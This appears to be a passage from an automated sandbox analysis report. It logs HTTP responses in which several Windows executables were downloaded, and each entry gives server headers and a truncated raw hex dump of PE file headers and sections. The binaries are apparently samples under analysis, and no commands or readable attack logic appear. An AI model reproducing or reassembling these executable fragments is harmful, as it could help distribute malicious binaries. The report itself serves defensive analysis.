00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:25 GMTContent-Type: application/octet-streamContent-Length: 419328Last-Modified: Thu, 26 Sep 2024 16:40:28 GMTConnection: keep-aliveETag: "66f58e7c-66600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b d9 e1 fd 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 4a 06 00 00 1a 00 00 00 00 00 00 ae 68 06 00 00 20 00 00 00 80 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 68 06 00 4b 00 00 00 00 80 06 00 f4 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 48 06 00 00 20 00 00 00 4a 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f4 16 00 00 00 80 06 00 00 18 00 00 00 4c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 06 00 00 02 00 00 00 64 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 68 06 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 5b 03 00 a0 aa 02 00 03 00 00 00 dd 04 00 06 ac 05 06 00 c0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 2e 28 05 05 00 06 28 01 00 00 06 2a 1b 30 09 00 ce 05 00 00 01 00 00 11 00 73 0d 00 00 0a 0a 00 00 02 7e 05 00 00 04 25 3a 17 00 00 00 26 7e 04 00 00 04 fe 06 26 00 00 06 73 0e 00 00 0a 25 80 05 00 00 04 28 01 00 00 2b 6f 10 00 00 0a 0b 38 5b 05 00 00 07 6f 11 00 00 0a 0c 00 08 17 17 1a 8d 0b 00 00 01 25 16 1f 46 7e 32 03 00 04 28 bf 05 00 06 a2 25 17 1f 47 7e 32 03 00 04 28 bf 05 00 06 a2 25 18 1f 48 7e 32 03 00 04 28 bf 05 00 06 a2 25 19 1f 65 7e 32 03 00 04 28 bf 05 00 06 a2 7e 33 03 00 04 28 c3 05 00 06 0d 00 09 6f 12 00 00 0a 13 04 38 d4 04 00 00 12 04 28 13 00 00 0a 13 05 73 1a 00 00 06 13 06 00 73 e1 03 00 06 13 07 11 06 7e 14 00 00 0a 7d 02 00 00 04 7e 14 00 00 0a 13 08 00 11 06 11 05 73 15 00 00 0a 28 16 00 00 0a 6f 17 00 00 0a 7d 02 00 00 04 11 06 7b 02 00 00 04 1f 49 7e 32 03 00 04 28 bf 05 00 06 6f 18 00 00 0a 13 09 11 09 39 15 00 00 00 00 1f 49 7e 32 03 00 04 28 bf 05 00 06 13 08 00 38 43 00 00 00 00 11 05 1f 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:28 GMTContent-Type: application/octet-streamContent-Length: 321536Last-Modified: Mon, 16 Sep 2024 13:46:13 GMTConnection: keep-aliveETag: "66e836a5-4e800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f2 26 e8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 dc 04 00 00 0a 00 00 00 00 00 00 0e fb 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 fa 04 00 57 00 00 00 00 00 05 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 7c f9 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 db 04 00 00 20 00 00 00 dc 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 08 06 00 00 00 00 05 00 00 08 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 fa 04 00 00 00 00 00 48 00 00 00 02 00 05 00 98 e9 04 00 e4 0f 00 00 03 00 02 00 10 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 c9 11 68 37 03 ef c9 ea 63 37 33 eb 0c 77 88 e8 56 29 4a 2e 3a 18 a0 61 ed 57 27 e2 3d e6 7c a4 94 a0 51 26 fe a7 b0 05 a7 70 e5 eb e9 0e 49 49 6f 4f 9a 0c e2 67 c5 f5 c5 96 51 c2 fb 08 50 b7 7e 43 4d 16 02 1d 76 40 8e 50 2a e4 ea 53 6c 93 7f 83 1b 61 3d 08 cb 3a 75 3f 45 44 bd 22 a1 f8 4a 70 d6 d5 f1 8a 8f c5 32 a7 96 72 1c 42 c6 a3 ea 48 be cc 98 82 3f b7 76 87 a7 30 5d 32 ae c1 1f e9 8c e5 3e f4 c3 46 cc 7d c9 73 36 0b 98 4e 0e 2e cf 88 68 f7 23 19 a5 c6 02 ab 5a 93 36 97 d9 67 5e 67 75 da 61 57 26 d1 8a 32 95 6e 3f ad 76 97 d9 b0 2a e0 53 88 cb 14 7d 85 21 d4 5e 14 a1 45 cc 68 aa 64 70 c0 d3 c5 a5 14 bf 66 63 34 7b d7 b5 d3 2f 4f aa ac 49 bd f5 84 b9 76 e1 51 2c 55 d4 d4 e2 3e 78 4b b6 ac 63 f5 44 ca 85 1b e6 2f 0e d4 45 37 2e 00 ae 54 1c e3 ad a6 f4 74 84 1a b1 d1 a8 90 b8 79 c2 cc c6 b6 66 87 82 53 43 e2 d6 18 de 29 fa 46 b3 6d cc 22 32 18 c4 a7 ea 4d 73 fb 33 22 4b 4c af 65 89 8c 7a 63 db 42 62 c3 2d 05 6c c3 5c 17 9e fe 01 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:31 GMTContent-Type: application/octet-streamContent-Length: 360448Last-Modified: Mon, 23 Sep 2024 14:42:37 GMTConnection: keep-aliveETag: "66f17e5d-58000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 3c 94 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 aa 04 00 00 d2 00 00 00 00 00 00 c0 d3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 06 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8a e5 04 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 d0 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac e6 04 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dd 